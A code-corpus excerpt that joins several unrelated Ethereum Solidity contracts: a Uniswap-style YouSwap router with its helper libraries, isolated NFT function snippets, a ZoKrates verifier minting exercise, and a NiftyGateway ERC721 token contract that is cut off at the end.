swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: localhost/contracts/libraries/Ownable.sol //SPDX-License-Identifier: SimPL-2.0 pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "YouSwap: CALLER_IS_NOT_THE_OWNER"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "YouSwap: NEW_OWNER_IS_THE_ZERO_ADDRESS"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: localhost/contracts/libraries/TransferHelper.sol // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } // File: localhost/contracts/interfaces/IYouSwapFactory.sol pragma solidity >=0.5.0; interface IYouSwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setFeeToRate(uint256) external; function feeToRate() external view returns (uint256); } // File: localhost/contracts/YouSwapRouter.sol pragma solidity =0.6.6; contract YouSwapRouter is IYouSwapRouter, Ownable { using SafeMath for uint; address public immutable override factory; address public immutable override WETH; address public override swapMining; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'YouSwapRouter: EXPIRED'); _; } constructor(address _factory, address _WETH) public { factory = _factory; WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } function setSwapMining(address _swapMininng) public onlyOwner { swapMining = _swapMininng; } // **** ADD LIQUIDITY **** function _addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin ) internal virtual returns (uint amountA, uint amountB) { // create the pair if it doesn't exist yet if (IYouSwapFactory(factory).getPair(tokenA, tokenB) == address(0)) { IYouSwapFactory(factory).createPair(tokenA, tokenB); } (uint reserveA, uint reserveB) = YouSwapLibrary.getReserves(factory, tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); } else { uint amountBOptimal = YouSwapLibrary.quote(amountADesired, reserveA, reserveB); if (amountBOptimal <= amountBDesired) { require(amountBOptimal >= amountBMin, 'YouSwapRouter: INSUFFICIENT_B_AMOUNT'); (amountA, amountB) = (amountADesired, amountBOptimal); } else { uint amountAOptimal = YouSwapLibrary.quote(amountBDesired, reserveB, reserveA); assert(amountAOptimal <= amountADesired); require(amountAOptimal >= amountAMin, 'YouSwapRouter: INSUFFICIENT_A_AMOUNT'); (amountA, amountB) = (amountAOptimal, amountBDesired); } } } function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) { (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin); address pair = YouSwapLibrary.pairFor(factory, tokenA, tokenB); TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA); TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB); liquidity = IYouSwapPair(pair).mint(to); } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) { (amountToken, amountETH) = _addLiquidity( token, WETH, amountTokenDesired, msg.value, amountTokenMin, amountETHMin ); address pair = YouSwapLibrary.pairFor(factory, token, WETH); TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken); IWETH(WETH).deposit{value: amountETH}(); assert(IWETH(WETH).transfer(pair, amountETH)); liquidity = IYouSwapPair(pair).mint(to); // refund dust eth, if any if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH); } // **** REMOVE LIQUIDITY **** function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { address pair = YouSwapLibrary.pairFor(factory, tokenA, tokenB); IYouSwapPair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair (uint amount0, uint amount1) = IYouSwapPair(pair).burn(to); (address token0,) = YouSwapLibrary.sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, 'YouSwapRouter: INSUFFICIENT_A_AMOUNT'); require(amountB >= amountBMin, 'YouSwapRouter: INSUFFICIENT_B_AMOUNT'); } function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) { (amountToken, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountA, uint amountB) { address pair = YouSwapLibrary.pairFor(factory, tokenA, tokenB); uint value = approveMax ? uint(-1) : liquidity; IYouSwapPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountToken, uint amountETH) { address pair = YouSwapLibrary.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IYouSwapPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline); } // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) **** function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountETH) { (, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this))); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountETH) { address pair = YouSwapLibrary.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IYouSwapPair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); amountETH = removeLiquidityETHSupportingFeeOnTransferTokens( token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = YouSwapLibrary.sortTokens(input, output); uint amountOut = amounts[i + 1]; if (swapMining != address(0)) { ISwapMining(swapMining).swap(msg.sender, input, output, amountOut); } (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? YouSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; IYouSwapPair(YouSwapLibrary.pairFor(factory, input, output)).swap( amount0Out, amount1Out, to, new bytes(0) ); } } function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = YouSwapLibrary.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'YouSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, YouSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = YouSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'YouSwapRouter: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, YouSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'YouSwapRouter: INVALID_PATH'); amounts = YouSwapLibrary.getAmountsOut(factory, msg.value, path); require(amounts[amounts.length - 1] >= amountOutMin, 'YouSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(YouSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); } function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'YouSwapRouter: INVALID_PATH'); amounts = YouSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'YouSwapRouter: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, YouSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'YouSwapRouter: INVALID_PATH'); amounts = YouSwapLibrary.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'YouSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, YouSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'YouSwapRouter: INVALID_PATH'); amounts = YouSwapLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= msg.value, 'YouSwapRouter: EXCESSIVE_INPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(YouSwapLibrary.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); // refund dust eth, if any if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = YouSwapLibrary.sortTokens(input, output); IYouSwapPair pair = IYouSwapPair(YouSwapLibrary.pairFor(factory, input, output)); uint amountInput; uint amountOutput; { // scope to avoid stack too deep errors (uint reserve0, uint reserve1,) = pair.getReserves(); (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0); amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput); amountOutput = YouSwapLibrary.getAmountOut(amountInput, reserveInput, reserveOutput); } if (swapMining != address(0)) { ISwapMining(swapMining).swap(msg.sender, input, output, amountOutput); } (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? YouSwapLibrary.pairFor(factory, output, path[i + 2]) : _to; pair.swap(amount0Out, amount1Out, to, new bytes(0)); } } function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { TransferHelper.safeTransferFrom( path[0], msg.sender, YouSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'YouSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override payable ensure(deadline) { require(path[0] == WETH, 'YouSwapRouter: INVALID_PATH'); uint amountIn = msg.value; IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(YouSwapLibrary.pairFor(factory, path[0], path[1]), amountIn)); uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'YouSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { require(path[path.length - 1] == WETH, 'YouSwapRouter: INVALID_PATH'); TransferHelper.safeTransferFrom( path[0], msg.sender, YouSwapLibrary.pairFor(factory, path[0], path[1]), amountIn ); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20(WETH).balanceOf(address(this)); require(amountOut >= amountOutMin, 'YouSwapRouter: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } // **** LIBRARY FUNCTIONS **** function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) { return YouSwapLibrary.quote(amountA, reserveA, reserveB); } function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountOut) { return YouSwapLibrary.getAmountOut(amountIn, reserveIn, reserveOut); } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountIn) { return YouSwapLibrary.getAmountIn(amountOut, reserveIn, reserveOut); } function getAmountsOut(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { return YouSwapLibrary.getAmountsOut(factory, amountIn, path); } function getAmountsIn(uint amountOut, address[] memory path) public view virtual override returns (uint[] memory amounts) { return YouSwapLibrary.getAmountsIn(factory, amountOut, path); } }
LIBRARY FUNCTIONS
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) { return YouSwapLibrary.quote(amountA, reserveA, reserveB); }
1,451,188
./partial_match/1/0x67391801E7564994bdAa80544Ff916A7bCBFCB60/sources/MacroverseUniversalRegistry.sol
Set the minimum wait time in seconds for waiting for commitments to mature and become revealable. The maximum time commitments have before they expire is also adjusted, as it is a multiple of this value./
function setCommitmentMinWait(uint256 new_commitment_min_wait_in_seconds) external onlyOwner { commitmentMinWait = new_commitment_min_wait_in_seconds; emit CommitmentMinWaitChange(commitmentMinWait); }
9,237,140
pragma solidity 0.5.11; import {DecentralandERC721Token} from "./ERC721Mintable.sol"; // TODO define another contract named SolnSquareVerifier that inherits from your ERC721Mintable class contract SolnSquareVerifier is DecentralandERC721Token { // TODO define a contract call to the zokrates generated solidity contract <Verifier> or <renamedVerifier> SquareVerifier verifierContract; constructor(address verifierAddress) public{ verifierContract = SquareVerifier(verifierAddress); } // TODO define a solutions struct that can hold an index & an address struct Solution { uint256 tokenId; address to; } // TODO define an array of the above struct Solution[] submittedSolutions; // TODO define a mapping to store unique solutions submitted mapping(bytes32 => Solution) uniqueSolutions; // TODO Create an event to emit when a solution is added event SolutionAdded( address indexed to, uint256 indexed tokenId, bytes32 indexed key ); // TODO Create a function to add the solutions to the array and emit the event function _addSolution(address _to, uint256 _tokenId, bytes32 _key) internal { Solution memory _soln = Solution({tokenId : _tokenId, to : _to}); submittedSolutions.push(_soln); uniqueSolutions[_key] = _soln; emit SolutionAdded(_to, _tokenId, _key); } // TODO Create a function to mint new NFT only after the solution has been verified // - make sure the solution is unique (has not been used before) // - make sure you handle metadata as well as tokenSupply function mintToken( address to, uint256 tokenId, uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[2] memory input ) public whenNotPaused { bytes32 key = keccak256(abi.encodePacked(a, b, c, input)); require(uniqueSolutions[key].to == address(0), "Solution is already used"); require(verifierContract.verifyTx(a, b, c, input), "Solution is incorrect"); _addSolution(to, tokenId, key); super.mint(to, tokenId); } } interface SquareVerifier { function verifyTx( uint[2] calldata a, uint[2][2] calldata b, uint[2] calldata c, uint[2] calldata input ) external returns(bool r); }
TODO Create a function to mint new NFT only after the solution has been verified - make sure the solution is unique (has not been used before) - make sure you handle metadata as well as tokenSupply
function mintToken( address to, uint256 tokenId, uint[2] memory a, uint[2][2] memory b, uint[2] memory c, uint[2] memory input ) public whenNotPaused { bytes32 key = keccak256(abi.encodePacked(a, b, c, input)); require(uniqueSolutions[key].to == address(0), "Solution is already used"); require(verifierContract.verifyTx(a, b, c, input), "Solution is incorrect"); _addSolution(to, tokenId, key); super.mint(to, tokenId); }
15,796,224
./partial_match/1/0x21b346622e607fcC936a320D3ab8224fb36B3C0c/sources/contracts/ERC721PermitUpgradeable.sol
Allows the spender to spend the token ID which is owned by owner, given owner's signed approval. Emits an {Approval} event. Requirements: - `spender` cannot be the zero address. - `owner` must be the owner of `tokenId`. - `deadline` must be a timestamp in the future. - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` over the EIP712-formatted function arguments. - the signature must use ``owner``'s current nonce (see {nonces}). For more information on the signature format, see the section]. owner The owner of the token being permitted. spender The address allowed to spend the token. tokenId The token ID of the given asset. deadline The maximum timestamp the signature is valid for. v Component of the signature. r Component of the signature. s Component of the signature./
function permit( address owner, address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { if (block.timestamp > deadline) revert ERC721P_DeadlineExpired(deadline); if (owner != ERC721Upgradeable.ownerOf(tokenId)) revert ERC721P_NotTokenOwner(owner); bytes32 structHash = keccak256( abi.encode(_PERMIT_TYPEHASH, owner, spender, tokenId, _useNonce(owner), deadline) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSAUpgradeable.recover(hash, v, r, s); if (signer != owner) revert ERC721P_InvalidSignature(signer); _approve(spender, tokenId); }
9,283,464
./full_match/80001/0x3Caa61B051D60Ef376F398086B30d23886933D2a/sources/contracts/MARKETPLACE.sol
Get the list of all NFTs owned by a user that are on sale
function getMyNFTsOnSale() external view returns (Sale[] memory) { uint256 mySalesCount = sellerSales[msg.sender].length(); Sale[] memory mySales = new Sale[](mySalesCount); for (uint256 i = 0; i < mySalesCount; i++) { uint256 saleId = sellerSales[msg.sender].at(i); mySales[i] = sales[saleId]; } return mySales; }
868,955
./partial_match/1/0xd4bDCCa1CA76ceD6FC8BB1bA91C5D7c0Ca4fE567/sources/Comptroller.sol
Checks if the account should be allowed to transfer tokens in the given market cToken The market to verify the transfer against src The account which sources the tokens dst The account which receives the tokens transferTokens The number of cTokens to transfer return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)/ Pausing is a very serious situation - we revert to sound the alarms Shh - currently unused may include Policy Hook-type checks Currently the only consideration is whether or not the src is allowed to redeem this many tokens
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { require(!transferGuardianPaused, "transfer is paused"); dst; return redeemAllowedInternal(cToken, src, transferTokens); }
3,684,607
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; // ,|||||< ~|||||' `_+7ykKD%RDqmI*~` // [email protected]@@@@@8' `[email protected]@@@@` `^[email protected]@@@@@@@@@@@@@@@@R|` // [email protected]@@@@@@@Q; [email protected]@@@@J '}[email protected]@@@@@[email protected]@@@@@@Q, // [email protected]@@@@@@@@@j `[email protected]@@@Q` `[email protected]@@@@@h^` `[email protected]@@@@* // [email protected]@@@@@@@@@@@D. [email protected]@@@@i [email protected]@@@@w' ^@@@@@* // [email protected]@@@@[email protected]@@@@@@Q! `@@@@@Q ;@@@@@@; .txxxx: // |@@@@@u *@@@@@@@@z [email protected]@@@@* `[email protected]@@@@^ // `[email protected]@@@Q` '[email protected]@@@@@@R.'@@@@@B [email protected]@@@@% :DDDDDDDDDDDDDD5 // [email protected]@@@@7 `[email protected]@@@@@@[email protected]@@@@+ [email protected]@@@@K [email protected]@@@@@@* // `@@@@@Q` ^[email protected]@@@@@@@@@@W [email protected]@@@@@; ,[email protected]@@@@@# // [email protected]@@@@L ,[email protected]@@@@@@@@@! '[email protected]@@@@@u, [email protected]@@@@@@@^ // [email protected]@@@@Q }@@@@@@@@D '[email protected]@@@@@@@gUwwU%[email protected]@@@@@@@@@g // [email protected]@@@@< [email protected]@@@@@@; ;[email protected]@@@@@@@@@@@@@@Wf;[email protected]@@; // ~;;;;; .;;;;;~ '!Lx5mEEmyt|!' ;;;~ // // Powered By: @niftygateway // Author: @niftynathang // Collaborators: @conviction_1 // @stormihoebe // @smatthewenglish // @dccockfoster // @blainemalone import "./ERC721Omnibus.sol"; import "../interfaces/IERC2309.sol"; import "../interfaces/IERC721MetadataGenerator.sol"; import "../interfaces/IERC721DefaultOwnerCloneable.sol"; import "../structs/NiftyType.sol"; import "../utils/Signable.sol"; import "../utils/Withdrawable.sol"; import "../utils/Royalties.sol"; contract NiftyERC721Token is ERC721Omnibus, Royalties, Signable, Withdrawable, IERC2309 { using Address for address; event NiftyTypeCreated(address indexed contractAddress, uint256 niftyType, uint256 idFirst, uint256 idLast); uint256 constant internal MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; // A pointer to a contract that can generate token URI/metadata IERC721MetadataGenerator internal metadataGenerator; // Used to determine next nifty type/token ids to create on a mint call NiftyType internal lastNiftyType; // Sorted array of NiftyType definitions - ordered to allow binary searching NiftyType[] internal niftyTypes; // Mapping from Nifty type to IPFS hash of canonical artifact file. mapping(uint256 => string) private niftyTypeIPFSHashes; constructor() { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Omnibus, Royalties, NiftyPermissions) returns (bool) { return interfaceId == type(IERC2309).interfaceId || super.supportsInterface(interfaceId); } function setMetadataGenerator(address metadataGenerator_) external { _requireOnlyValidSender(); if(metadataGenerator_ == address(0)) { metadataGenerator = IERC721MetadataGenerator(metadataGenerator_); } else { require(IERC165(metadataGenerator_).supportsInterface(type(IERC721MetadataGenerator).interfaceId), "Invalid Metadata Generator"); metadataGenerator = IERC721MetadataGenerator(metadataGenerator_); } } function finalizeContract() external { _requireOnlyValidSender(); require(!collectionStatus.isContractFinalized, ERROR_CONTRACT_IS_FINALIZED); collectionStatus.isContractFinalized = true; } function tokenURI(uint256 tokenId) public virtual view override returns (string memory) { if(address(metadataGenerator) == address(0)) { return super.tokenURI(tokenId); } else { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return metadataGenerator.tokenMetadata(tokenId, _getNiftyType(tokenId), bytes("")); } } function tokenIPFSHash(uint256 tokenId) external view returns (string memory) { require(_exists(tokenId), ERROR_QUERY_FOR_NONEXISTENT_TOKEN); return niftyTypeIPFSHashes[_getNiftyType(tokenId)]; } function setIPFSHash(uint256 niftyType, string memory ipfsHash) external { _requireOnlyValidSender(); require(bytes(niftyTypeIPFSHashes[niftyType]).length == 0, "ERC721Metadata: IPFS hash already set"); niftyTypeIPFSHashes[niftyType] = ipfsHash; } function mint(uint256[] calldata amounts, string[] calldata ipfsHashes) external { _requireOnlyValidSender(); require(amounts.length > 0 && ipfsHashes.length > 0, ERROR_INPUT_ARRAY_EMPTY); require(amounts.length == ipfsHashes.length, ERROR_INPUT_ARRAY_SIZE_MISMATCH); address to = collectionStatus.defaultOwner; require(to != address(0), ERROR_TRANSFER_TO_ZERO_ADDRESS); require(!collectionStatus.isContractFinalized, ERROR_CONTRACT_IS_FINALIZED); uint88 initialIdLast = lastNiftyType.idLast; uint72 nextNiftyType = lastNiftyType.niftyType; uint88 nextIdCounter = initialIdLast + 1; uint88 firstNewTokenId = nextIdCounter; uint88 lastIdCounter = 0; for(uint256 i = 0; i < amounts.length; i++) { require(amounts[i] > 0, ERROR_NO_TOKENS_MINTED); uint88 amount = uint88(amounts[i]); lastIdCounter = nextIdCounter + amount - 1; nextNiftyType++; if(bytes(ipfsHashes[i]).length > 0) { niftyTypeIPFSHashes[nextNiftyType] = ipfsHashes[i]; } niftyTypes.push(NiftyType({ isMinted: true, niftyType: nextNiftyType, idFirst: nextIdCounter, idLast: lastIdCounter })); emit NiftyTypeCreated(address(this), nextNiftyType, nextIdCounter, lastIdCounter); nextIdCounter += amount; } uint256 newlyMinted = lastIdCounter - initialIdLast; balances[to] += newlyMinted; lastNiftyType.niftyType = nextNiftyType; lastNiftyType.idLast = lastIdCounter; collectionStatus.amountCreated += uint88(newlyMinted); emit ConsecutiveTransfer(firstNewTokenId, lastIdCounter, address(0), to); } function setBaseURI(string calldata uri) external { _requireOnlyValidSender(); _setBaseURI(uri); } function exists(uint256 tokenId) public view returns (bool) { return _exists(tokenId); } function burn(uint256 tokenId) public { _burn(tokenId); } function burnBatch(uint256[] calldata tokenIds) public { require(tokenIds.length > 0, ERROR_INPUT_ARRAY_EMPTY); for(uint256 i = 0; i < tokenIds.length; i++) { _burn(tokenIds[i]); } } function getNiftyTypes() public view returns (NiftyType[] memory) { return niftyTypes; } function getNiftyTypeDetails(uint256 niftyType) public view returns (NiftyType memory) { uint256 niftyTypeIndex = MAX_INT; unchecked { niftyTypeIndex = niftyType - 1; } if(niftyTypeIndex >= niftyTypes.length) { revert('Nifty Type Does Not Exist'); } return niftyTypes[niftyTypeIndex]; } function _isValidTokenId(uint256 tokenId) internal virtual view override returns (bool) { return tokenId > 0 && tokenId <= collectionStatus.amountCreated; } // Performs a binary search of the nifty types array to find which nifty type a token id is associated with // This is more efficient than iterating the entire nifty type array until the proper entry is found. // This is O(log n) instead of O(n) function _getNiftyType(uint256 tokenId) internal virtual override view returns (uint256) { uint256 min = 0; uint256 max = niftyTypes.length - 1; uint256 guess = (max - min) / 2; while(guess < niftyTypes.length) { NiftyType storage guessResult = niftyTypes[guess]; if(tokenId >= guessResult.idFirst && tokenId <= guessResult.idLast) { return guessResult.niftyType; } else if(tokenId > guessResult.idLast) { min = guess + 1; guess = min + (max - min) / 2; } else if(tokenId < guessResult.idFirst) { max = guess - 1; guess = min + (max - min) / 2; } } return 0; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "./ERC721.sol"; import "../interfaces/IERC721DefaultOwnerCloneable.sol"; abstract contract ERC721Omnibus is ERC721, IERC721DefaultOwnerCloneable { struct TokenOwner { bool transferred; address ownerAddress; } struct CollectionStatus { bool isContractFinalized; // 1 byte uint88 amountCreated; // 11 bytes address defaultOwner; // 20 bytes } // Only allow Nifty Entity to be initialized once bool internal initializedDefaultOwner; CollectionStatus internal collectionStatus; // Mapping from token 